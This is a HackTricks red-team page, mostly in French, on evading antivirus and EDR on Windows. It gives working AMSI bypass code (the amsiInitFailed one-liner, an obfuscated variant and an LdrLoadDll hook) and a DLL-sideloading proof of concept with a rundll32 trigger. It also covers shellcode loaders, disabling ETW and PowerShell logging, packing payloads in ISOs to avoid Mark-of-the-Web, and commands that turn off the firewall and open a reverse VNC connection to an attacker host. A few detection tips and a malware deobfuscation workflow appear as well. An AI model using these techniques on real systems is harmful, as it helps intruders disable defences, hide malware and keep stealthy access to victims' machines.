Contournement des antivirus (AV)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page a été écrite par @m2rc_p!
Arrêter Defender
- defendnot: Un outil pour empêcher Windows Defender de fonctionner.
- no-defender: Un outil pour arrêter Windows Defender en se faisant passer pour un autre AV.
- Désactiver Defender si vous êtes admin
Méthodologie d’évasion des AV
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non : la détection statique, l’analyse dynamique, et pour les EDRs plus avancés, l’analyse comportementale.
Détection statique
La détection statique consiste à signaler des chaînes connues ou des suites d’octets dans un binaire ou un script, et aussi à extraire des informations depuis le fichier lui-même (par ex. description du fichier, nom de la société, signatures numériques, icône, checksum, etc.). Cela signifie que l’utilisation d’outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et marqués comme malveillants. Il y a plusieurs façons de contourner ce type de détection :
- Encryption
Si vous chiffrerez le binaire, il n’y aura pas de moyen pour l’AV de détecter votre programme, mais vous aurez besoin d’un loader pour déchiffrer et exécuter le programme en mémoire.
- Obfuscation
Parfois, il suffit de modifier quelques chaînes dans votre binaire ou script pour passer l’AV, mais cela peut être une tâche longue selon ce que vous essayez d’obfusquer.
- Custom tooling
Si vous développez vos propres outils, il n’y aura pas de signatures connues, mais cela demande beaucoup de temps et d’efforts.
Tip
Un bon moyen pour vérifier la détection statique par Windows Defender est ThreatCheck. Il divise essentiellement le fichier en plusieurs segments puis demande à Defender de scanner chaque segment individuellement ; de cette façon, il peut vous indiquer exactement quelles chaînes ou quels octets sont signalés dans votre binaire.
Je vous recommande vivement de consulter cette playlist YouTube sur l’évasion AV pratique.
Analyse dynamique
L’analyse dynamique consiste à exécuter votre binaire dans un sandbox et à surveiller les activités malveillantes (par ex. tenter de décrypter et lire les mots de passe du navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus compliquée, mais voici quelques choses que vous pouvez faire pour éviter les sandboxes.
- Sleep before execution Selon la manière dont c’est implémenté, cela peut être un excellent moyen de contourner l’analyse dynamique des AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l’utilisateur, donc utiliser de longs délais peut perturber l’analyse des binaires. Le problème est que de nombreuses sandboxes des AV peuvent simplement passer outre le sleep selon l’implémentation.
- Checking machine’s resources En général, les sandboxes disposent de très peu de ressources (par ex. < 2GB RAM), sinon elles risqueraient de ralentir la machine de l’utilisateur. Vous pouvez aussi faire preuve de créativité ici, par exemple en vérifiant la température du CPU ou même la vitesse des ventilateurs ; tout n’est pas forcément implémenté dans la sandbox.
- Machine-specific checks Si vous voulez cibler un utilisateur dont la workstation est jointe au domaine “contoso.local”, vous pouvez vérifier le domaine de l’ordinateur pour voir s’il correspond à celui spécifié ; si ce n’est pas le cas, vous pouvez faire en sorte que votre programme se termine.
Il se trouve que le nom de machine du Sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l’ordinateur dans votre malware avant la détonation ; si le nom correspond à HAL9TH, cela signifie que vous êtes dans le sandbox de Defender et vous pouvez faire en sorte que votre programme se termine.
.png)
source : https://youtu.be/StSLxFbVz0M?t=1439
Quelques autres très bons conseils de @mgeeky pour contrer les sandboxes
.png)
Red Team VX Discord #malware-dev channel
Comme nous l’avons déjà dit dans ce post, les outils publics finiront par être détectés, donc vous devriez vous poser une question :
Par exemple, si vous voulez dumper LSASS, avez-vous vraiment besoin d’utiliser mimikatz ? Ou pourriez-vous utiliser un autre projet moins connu qui effectue aussi le dump de LSASS.
La bonne réponse est probablement la seconde. En prenant mimikatz comme exemple, c’est probablement l’un des, si ce n’est le plus détecté par les AVs et EDRs ; le projet lui-même est super cool, mais c’est aussi un cauchemar de travailler avec lui pour contourner les AVs, donc cherchez simplement des alternatives pour ce que vous voulez accomplir.
Tip
Lorsque vous modifiez vos payloads pour l’évasion, assurez-vous de désactiver la soumission automatique d’échantillons dans Defender, et s’il vous plaît, sérieusement, NE PAS UPLOADER SUR VIRUSTOTAL si votre objectif est d’obtenir une évasion sur le long terme. Si vous voulez vérifier si votre payload est détecté par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d’échantillons, et testez-y jusqu’à être satisfait du résultat.
EXEs vs DLLs
Chaque fois que c’est possible, priorisez toujours l’utilisation des DLL pour l’évasion ; d’après mon expérience, les fichiers DLL sont généralement beaucoup moins détectés et analysés, donc c’est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre payload a un moyen de s’exécuter en tant que DLL, bien sûr).
Comme on peut le voir sur cette image, un payload DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que le payload EXE a un taux de détection de 7/26.
.png)
comparaison sur antiscan.me d'un payload EXE Havoc normal vs un payload DLL Havoc normal
Nous allons maintenant montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus discrets.
DLL Sideloading & Proxying
DLL Sideloading profite de l’ordre de recherche des DLL utilisé par le loader en positionnant l’application victime et le(s) payload(s) malveillant(s) côte à côte.
Vous pouvez vérifier les programmes susceptibles au DLL Sideloading en utilisant Siofra et le script powershell suivant :
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Cette commande affichera la liste des programmes susceptibles de DLL hijacking dans “C:\Program Files\” et les fichiers DLL qu’ils tentent de charger.
Je vous recommande vivement d’explorer vous-même les programmes DLL Hijackable/Sideloadable, cette technique est assez furtive lorsqu’elle est correctement exécutée, mais si vous utilisez des programmes DLL Sideloadable publiquement connus, vous pouvez être facilement repéré.
Le simple fait de placer une DLL malveillante portant le nom attendu par un programme ne suffira pas forcément à charger votre payload, car le programme attend certaines fonctions spécifiques dans cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée DLL Proxying/Forwarding.
DLL Proxying transfère les appels effectués par un programme depuis la DLL proxy (malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme tout en permettant d’exécuter votre payload.
J’utiliserai le projet SharpDLLProxy de @flangvik
Voici les étapes que j’ai suivies:
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
La dernière commande nous donnera 2 fichiers : un modèle de code source pour une DLL, et la DLL originale renommée.


Both our shellcode (encoded with SGN) and the proxy DLL have a 0/26 Detection rate in antiscan.me! I would call that a success.
.png)
Tip
I highly recommend you watch S3cur3Th1sSh1t’s twitch VOD about DLL Sideloading and also ippsec’s video to learn more about what we’ve discussed more in-depth.
Abuser les Forwarded Exports (ForwardSideLoading)
Les modules Windows PE peuvent exporter des fonctions qui sont en réalité des “forwarders” : au lieu de pointer vers du code, l’entrée d’export contient une chaîne ASCII de la forme TargetDll.TargetFunc. Lorsqu’un appelant résout l’export, le loader Windows va :
- Charger
TargetDllsi ce n’est pas déjà chargé - Résoudre
TargetFuncdepuis celui-ci
Comportements clés à comprendre :
- Si
TargetDllest un KnownDLL, il est fourni depuis l’espace de noms protégé KnownDLLs (p.ex., ntdll, kernelbase, ole32). - Si
TargetDlln’est pas un KnownDLL, l’ordre normal de recherche des DLL est utilisé, ce qui inclut le répertoire du module qui effectue la résolution du forward.
Cela permet une primitive de sideloading indirecte : trouvez une DLL signée qui exporte une fonction forwardée vers un nom de module non-KnownDLL, puis placez cette DLL signée dans le même répertoire qu’une DLL contrôlée par l’attaquant portant exactement le nom du module cible forwardé. Quand l’export forwardé est invoqué, le loader résout le forward et charge votre DLL depuis ce même répertoire, exécutant votre DllMain.
Example observed on Windows 11:
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
NCRYPTPROV.dll n’est pas un KnownDLL, il est donc résolu selon l’ordre normal de recherche.
PoC (copier-coller):
- Copier la DLL système signée dans un dossier accessible en écriture
copy C:\Windows\System32\keyiso.dll C:\test\
- Déposez un
NCRYPTPROV.dllmalveillant dans le même dossier. Un DllMain minimal suffit pour obtenir l’exécution de code ; vous n’avez pas besoin d’implémenter la fonction transférée pour déclencher DllMain.
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}
- Déclencher la redirection avec un LOLBin signé :
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
Comportement observé:
- rundll32 (signed) charge la side-by-side
keyiso.dll(signed) - Lors de la résolution de
KeyIsoSetAuditingInterface, le loader suit le forward versNCRYPTPROV.SetAuditingInterface - Le loader charge ensuite
NCRYPTPROV.dlldepuisC:\testet exécute sonDllMain - Si
SetAuditingInterfacen’est pas implémentée, vous obtiendrez une erreur “missing API” seulement après queDllMainait déjà été exécuté
Hunting tips:
- Concentrez-vous sur les forwarded exports dont le module cible n’est pas un KnownDLL. Les KnownDLLs sont listées sous
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. - Vous pouvez énumérer les forwarded exports avec des outils tels que:
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
- Consultez l’inventaire des forwarders Windows 11 pour rechercher des candidats : https://hexacorn.com/d/apis_fwd.txt
Idées de détection/défense :
- Surveiller les LOLBins (par ex., rundll32.exe) qui chargent des DLL signées depuis des chemins non-système, puis chargent des non-KnownDLLs ayant le même nom de base dans ce répertoire
- Alerter sur des chaînes processus/module telles que :
rundll32.exe→ non systèmekeyiso.dll→NCRYPTPROV.dllsous des chemins inscriptibles par l’utilisateur - Appliquer des politiques d’intégrité du code (WDAC/AppLocker) et interdire l’écriture+exécution dans les répertoires d’application
Freeze
Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Tip
L’évasion est un jeu du chat et de la souris : ce qui fonctionne aujourd’hui peut être détecté demain, donc ne comptez jamais sur un seul outil ; si possible, essayez d’enchaîner plusieurs techniques d’évasion.
AMSI (Anti-Malware Scan Interface)
AMSI a été créé pour empêcher “fileless malware”. Initialement, les AVs pouvaient uniquement scanner les fichiers sur disque, donc si vous pouviez d’une manière ou d’une autre exécuter des payloads directement en mémoire, l’AV ne pouvait rien faire pour l’en empêcher, car il n’avait pas assez de visibilité.
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
- User Account Control, or UAC (élévation d’EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, utilisation interactive, et évaluation dynamique de code)
- Windows Script Host (wscript.exe et cscript.exe)
- JavaScript and VBScript
- macros VBA d’Office
Cela permet aux solutions antivirus d’inspecter le comportement des scripts en exposant le contenu des scripts sous une forme à la fois non chiffrée et non obfusquée.
Running IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') will produce the following alert on Windows Defender.
.png)
Notez comment il préfixe amsi: puis le chemin vers l’exécutable à partir duquel le script a été exécuté, dans ce cas, powershell.exe
Nous n’avons déposé aucun fichier sur le disque, mais avons quand même été détectés en mémoire à cause d’AMSI.
De plus, à partir de .NET 4.8, le code C# est également passé par AMSI. Cela affecte même Assembly.Load(byte[]) pour l’exécution en mémoire. C’est pourquoi il est recommandé d’utiliser des versions inférieures de .NET (comme 4.7.2 ou antérieures) pour l’exécution en mémoire si vous voulez éviter AMSI.
Il existe plusieurs façons de contourner AMSI :
- Obfuscation
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut donc être une bonne façon d’éviter la détection.
Cependant, AMSI est capable de déobfusquer les scripts même s’ils ont plusieurs couches d’obfuscation, donc l’obfuscation peut être une mauvaise option selon la manière dont elle est faite. Cela rend l’évasion moins simple. Toutefois, parfois, il suffit de changer quelques noms de variables et tout ira bien ; cela dépend donc du niveau d’alerte d’un élément.
- AMSI Bypass
Étant donné qu’AMSI est implémenté en chargeant une DLL dans le processus powershell (ainsi que cscript.exe, wscript.exe, etc.), il est possible de la manipuler facilement même en tant qu’utilisateur non privilégié. En raison de cette faille d’implémentation d’AMSI, des chercheurs ont trouvé plusieurs moyens d’échapper à l’analyse AMSI.
Forcer une erreur
Forcer l’initialisation d’AMSI à échouer (amsiInitFailed) entraînera l’absence de lancement d’une analyse pour le processus courant. À l’origine, cela a été divulgué par Matt Graeber et Microsoft a développé une signature pour empêcher une utilisation plus large.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Il n’a fallu qu’une seule ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell en cours. Cette ligne a bien sûr été signalée par AMSI lui-même, donc une modification est nécessaire pour utiliser cette technique.
Voici un AMSI bypass modifié que j’ai tiré de ce Github Gist.
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
Gardez à l’esprit que cela sera probablement signalé une fois la publication sortie, donc vous ne devriez pas publier de code si votre objectif est de rester indétecté.
Memory Patching
Cette technique a été initialement découverte par @RastaMouse et consiste à trouver l’adresse de la fonction “AmsiScanBuffer” dans amsi.dll (responsable de l’analyse des entrées fournies par l’utilisateur) et à la remplacer par des instructions renvoyant le code E_INVALIDARG. Ainsi, le résultat de l’analyse réelle renverra 0, ce qui est interprété comme un résultat propre.
Tip
Veuillez consulter https://rastamouse.me/memory-patching-amsi-bypass/ pour une explication plus détaillée.
There are also many other techniques used to bypass AMSI with powershell, check out this page and this repo to learn more about them.
Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
AMSI n’est initialisé qu’après le chargement de amsi.dll dans le processus courant. Un bypass robuste et agnostique au langage consiste à placer un user‑mode hook sur ntdll!LdrLoadDll qui retourne une erreur lorsque le module demandé est amsi.dll. En conséquence, AMSI ne se charge jamais et aucune analyse n’est effectuée pour ce processus.
Plan d’implémentation (x64 C/C++ pseudocode):
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
}
Remarques
- Fonctionne avec PowerShell, WScript/CScript et les chargeurs personnalisés (toute alternative qui chargerait AMSI).
- À associer à l’alimentation de scripts via stdin (
PowerShell.exe -NoProfile -NonInteractive -Command -) pour éviter les artefacts de ligne de commande trop longs. - Observé utilisé par des chargeurs exécutés via des LOLBins (par ex.,
regsvr32appelantDllRegisterServer).
Cet outil https://github.com/Flangvik/AMSI.fail génère aussi des scripts pour contourner AMSI.
Remove the detected signature
Vous pouvez utiliser un outil tel que https://github.com/cobbr/PSAmsi et https://github.com/RythmStick/AMSITrigger pour supprimer la signature AMSI détectée de la mémoire du processus courant. Cet outil scanne la mémoire du processus courant à la recherche de la signature AMSI puis l’écrase avec des instructions NOP, la supprimant ainsi effectivement de la mémoire.
AV/EDR products that uses AMSI
Vous pouvez trouver une liste de produits AV/EDR qui utilisent AMSI dans https://github.com/subat0mik/whoamsi.
Utiliser PowerShell version 2 Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans être scannés par AMSI. Vous pouvez faire ceci:
powershell.exe -version 2
PS Logging
La journalisation PowerShell est une fonctionnalité qui vous permet d’enregistrer toutes les commandes PowerShell exécutées sur un système. Cela peut être utile pour l’audit et le dépannage, mais cela peut aussi être un problème pour les attaquants qui veulent échapper à la détection.
Pour contourner la journalisation PowerShell, vous pouvez utiliser les techniques suivantes :
- Désactiver PowerShell Transcription et Module Logging : Vous pouvez utiliser un outil tel que https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs à cet effet.
- Utiliser PowerShell version 2 : Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans être analysés par AMSI. Vous pouvez faire ceci :
powershell.exe -version 2 - Utiliser une session PowerShell Unmanaged : Utilisez https://github.com/leechristensen/UnmanagedPowerShell pour lancer un powershell sans défenses (c’est ce que
powerpickde Cobal Strike utilise).
Obfuscation
Tip
Plusieurs techniques d’obfuscation reposent sur le chiffrement des données, ce qui augmente l’entropie du binaire et facilite sa détection par les AV et les EDR. Faites attention à cela et n’appliquez éventuellement le chiffrement qu’à des sections spécifiques de votre code qui sont sensibles ou doivent être cachées.
Déobfuscation des binaires .NET protégés par ConfuserEx
Lors de l’analyse de malwares utilisant ConfuserEx 2 (ou des forks commerciaux), il est courant de se heurter à plusieurs couches de protection qui bloquent les décompilateurs et les sandboxes. Le workflow ci‑dessous restaure de manière fiable un IL quasi‑original qui peut ensuite être décompilé en C# dans des outils tels que dnSpy ou ILSpy.
- Anti-tampering removal – ConfuserEx encrypts every method body and decrypts it inside the module static constructor (
<Module>.cctor). This also patches the PE checksum so any modification will crash the binary. Use AntiTamperKiller to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
La sortie contient les 6 paramètres anti-tampering (key0-key3, nameHash, internKey) qui peuvent être utiles lors de la création de votre propre unpacker.
- Symbol / control-flow recovery – feed the clean file to de4dot-cex (a ConfuserEx-aware fork of de4dot).
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
Options :
• -p crx – sélectionne le profil ConfuserEx 2
• de4dot annulera le flattening du contrôle de flux, restaurera les namespaces, classes et noms de variables originaux et déchiffrera les chaînes constantes.
- Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a proxy calls) to further break decompilation. Remove them with ProxyCall-Remover:
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
Après cette étape, vous devriez observer des API .NET normales comme Convert.FromBase64String ou AES.Create() au lieu de fonctions wrapper opaques (Class8.smethod_10, …).
- Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or
RijndaelManaged/TripleDESCryptoServiceProvideruse to locate the real payload. Often the malware stores it as a TLV-encoded byte array initialised inside<Module>.byte_0.
Le chaînage ci‑dessous restaure le flux d’exécution sans nécessiter l’exécution de l’échantillon malveillant — utile lorsque vous travaillez sur une station hors ligne.
🛈 ConfuserEx produit un attribut personnalisé nommé
ConfusedByAttributequi peut être utilisé comme IOC pour trier automatiquement les échantillons.
Commande en une ligne
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
- InvisibilityCloak: C# obfuscator
- Obfuscator-LLVM: Le but de ce projet est de fournir un fork open-source de la suite de compilation LLVM capable d’améliorer la sécurité logicielle via code obfuscation et tamper-proofing.
- ADVobfuscator: ADVobfuscator démontre comment utiliser le langage
C++11/14pour générer, au moment de la compilation, obfuscated code sans utiliser d’outil externe et sans modifier le compilateur. - obfy: Ajoute une couche d’obfuscated operations générées par le C++ template metaprogramming framework, ce qui rendra la tâche de la personne souhaitant cracker l’application un peu plus difficile.
- Alcatraz: Alcatraz est un obfuscator binaire x64 capable d’obfusquer divers fichiers PE, y compris : .exe, .dll, .sys
- metame: Metame est un simple moteur de metamorphic code pour des exécutables quelconques.
- ropfuscator: ROPfuscator est un framework de fine-grained code obfuscation pour les langages supportés par LLVM utilisant ROP (return-oriented programming). ROPfuscator obfusque un programme au niveau du code assembleur en transformant des instructions régulières en ROP chains, contrecarrant notre conception naturelle du contrôle de flux normal.
- Nimcrypt: Nimcrypt est un .NET PE Crypter écrit en Nim
- inceptor: Inceptor est capable de convertir des EXE/DLL existants en shellcode puis de les charger
SmartScreen & MoTW
Vous avez peut‑être vu cet écran en téléchargeant certains exécutables depuis Internet et en les exécutant.
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l’utilisateur final contre l’exécution d’applications potentiellement malveillantes.
.png)
SmartScreen fonctionne principalement selon une approche basée sur la réputation, ce qui signifie que les applications rarement téléchargées déclenchent SmartScreen, alertant et empêchant ainsi l’utilisateur final d’exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur More Info -> Run anyway).
MoTW (Mark of The Web) est un NTFS Alternate Data Stream nommé Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, ainsi que l’URL depuis laquelle il a été téléchargé.
.png)
Vérification de l'ADS Zone.Identifier pour un fichier téléchargé depuis Internet.
Tip
Il est important de noter que les exécutables signés avec un certificat de signature de confiance n’activeront pas SmartScreen.
Une façon très efficace d’empêcher vos payloads d’obtenir le Mark of The Web est de les empaqueter dans une sorte de conteneur comme une ISO. Cela se produit parce que Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes non NTFS.
.png)
PackMyPayload est un outil qui empaquette des payloads dans des conteneurs de sortie pour échapper à Mark-of-the-Web.
Example usage:
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW
Event Tracing for Windows (ETW) est un puissant mécanisme de journalisation dans Windows qui permet aux applications et composants système de consigner des événements. Cependant, il peut aussi être utilisé par des produits de sécurité pour surveiller et détecter des activités malveillantes.
Similar to how AMSI is disabled (bypassed) it’s also possible to make the EtwEventWrite function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process.
You can find more info in https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.
C# Assembly Reflection
Charger des binaires C# en mémoire est connu depuis longtemps et c’est toujours un excellent moyen d’exécuter vos outils post-exploitation sans être détecté par l’AV.
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
- Fork&Run
It involves spawning a new sacrificial process, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs outside our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a much greater chance of our implant surviving. The drawback is that you have a greater chance of getting caught by Behavioural Detections.
.png)
- Inline
Il s’agit d’injecter le code malveillant post-exploitation dans son propre processus. De cette façon, vous pouvez éviter de créer un nouveau processus et qu’il soit scanné par l’AV, mais l’inconvénient est que si quelque chose tourne mal lors de l’exécution de votre payload, il y a une much greater chance of losing your beacon as it could crash.
.png)
Tip
Si vous voulez en savoir plus sur le chargement d’Assembly C#, consultez cet article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ et leur BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
You can also load C# Assemblies from PowerShell, check out Invoke-SharpLoader and S3cur3th1sSh1t’s video.
Using Other Programming Languages
As proposed in https://github.com/deeexcee-io/LOI-Bins, it’s possible to execute malicious code using other languages by giving the compromised machine access to the interpreter environment installed on the Attacker Controlled SMB share.
By allowing access to the Interpreter Binaries and the environment on the SMB share you can execute arbitrary code in these languages within memory of the compromised machine.
The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have more flexibility to bypass static signatures. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
TokenStomping
Token stomping is a technique that allows an attacker to manipulate the access token or a security prouct like an EDR or AV, allowing them to reduce it privileges so the process won’t die but it won’t have permissions to check for malicious activities.
To prevent this Windows could prevent external processes from getting handles over the tokens of security processes.
- https://github.com/pwn1sher/KillDefender/
- https://github.com/MartinIngesen/TokenStomp
- https://github.com/nick-frischkorn/TokenStripBOF
Using Trusted Software
Chrome Remote Desktop
As described in this blog post, it’s easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:
- Download from https://remotedesktop.google.com/, click on “Set up via SSH”, and then click on the MSI file for Windows to download the MSI file.
- Run the installer silently in the victim (admin required):
msiexec /i chromeremotedesktophost.msi /qn - Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
- Execute the given parameter with some adjustments:
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111(Note the pin param which allows to set the pin without using the GUI).
Advanced Evasion
Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it’s pretty much impossible to stay completely undetected in mature environments.
Every environment you go against will have their own strengths and weaknesses.
I highly encourage you go watch this talk from @ATTL4S, to get a foothold into more Advanced Evasion techniques.
[NcN2k20] Understanding and Hiding your Operations - Daniel López Jiménez
This is also another great talk from @mariuszbit about Evasion in Depth.
Old Techniques
Check which parts Defender finds as malicious
You can use ThreatCheck which will remove parts of the binary until it finds out which part Defender is finding as malicious and split it to you.
Another tool doing the same thing is avred with an open web offering the service in https://avred.r00ted.ch/
Telnet Server
Until Windows10, all Windows came with a Telnet server that you could install (as administrator) doing:
pkgmgr /iu:"TelnetServer" /quiet
Faites en sorte qu’il démarre au démarrage du système et exécutez-le maintenant :
sc config TlntSVR start= auto obj= localsystem
Modifier le port telnet (stealth) et désactiver le firewall:
tlntadmn config port=80
netsh advfirewall set allprofiles state off
UltraVNC
Téléchargez-le depuis : http://www.uvnc.com/downloads/ultravnc.html (choisissez les bin downloads, pas l’installateur)
SUR L’HÔTE : Exécutez winvnc.exe et configurez le serveur :
- Activez l’option Disable TrayIcon
- Définissez un mot de passe dans VNC Password
- Définissez un mot de passe dans View-Only Password
Puis, déplacez le binaire winvnc.exe et le fichier nouvellement créé UltraVNC.ini dans la victime
Reverse connection
L’attaquant doit exécuter sur son hôte le binaire vncviewer.exe -listen 5900 afin d’être préparé à recevoir une reverse VNC connection. Ensuite, sur la victime : démarrez le démon winvnc winvnc.exe -run et exécutez winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ATTENTION : Pour rester discret, évitez les actions suivantes
- Ne démarrez pas
winvncs’il est déjà en cours d’exécution, sinon vous déclencherez un popup. Vérifiez s’il tourne avectasklist | findstr winvnc - Ne lancez pas
winvncsansUltraVNC.inidans le même répertoire, sinon cela ouvrira la fenêtre de configuration - Ne lancez pas
winvnc -hpour l’aide, sinon vous déclencherez un popup
GreatSCT
Téléchargez-le depuis : https://github.com/GreatSCT/GreatSCT
git clone https://github.com/GreatSCT/GreatSCT.git
